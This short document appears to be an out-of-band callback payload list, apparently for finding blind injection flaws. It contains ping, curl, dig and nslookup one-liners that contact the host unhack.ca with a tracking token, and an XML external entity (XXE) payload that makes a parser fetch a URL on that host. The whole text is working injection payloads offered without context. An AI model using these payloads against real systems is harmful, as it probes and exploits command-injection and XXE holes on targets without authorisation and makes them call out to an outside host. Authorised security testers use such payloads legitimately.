$ ping -c1 -p 00644525f7a4147dbf1255902c536800 unhack.ca
 

$ curl http://unhack.ca/p/644525f7a4147dbf1255902c5368
 

$ dig 644525f7a4147dbf1255902c5368 @unhack.ca
 

$ dig 644525f7a4147dbf1255902c5368.ns.unhack.ca
 

C:\> nslookup 644525f7a4147dbf1255902c5368 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/644525f7a4147dbf1255902c5368">]>
    <foo>&xxe;</foo>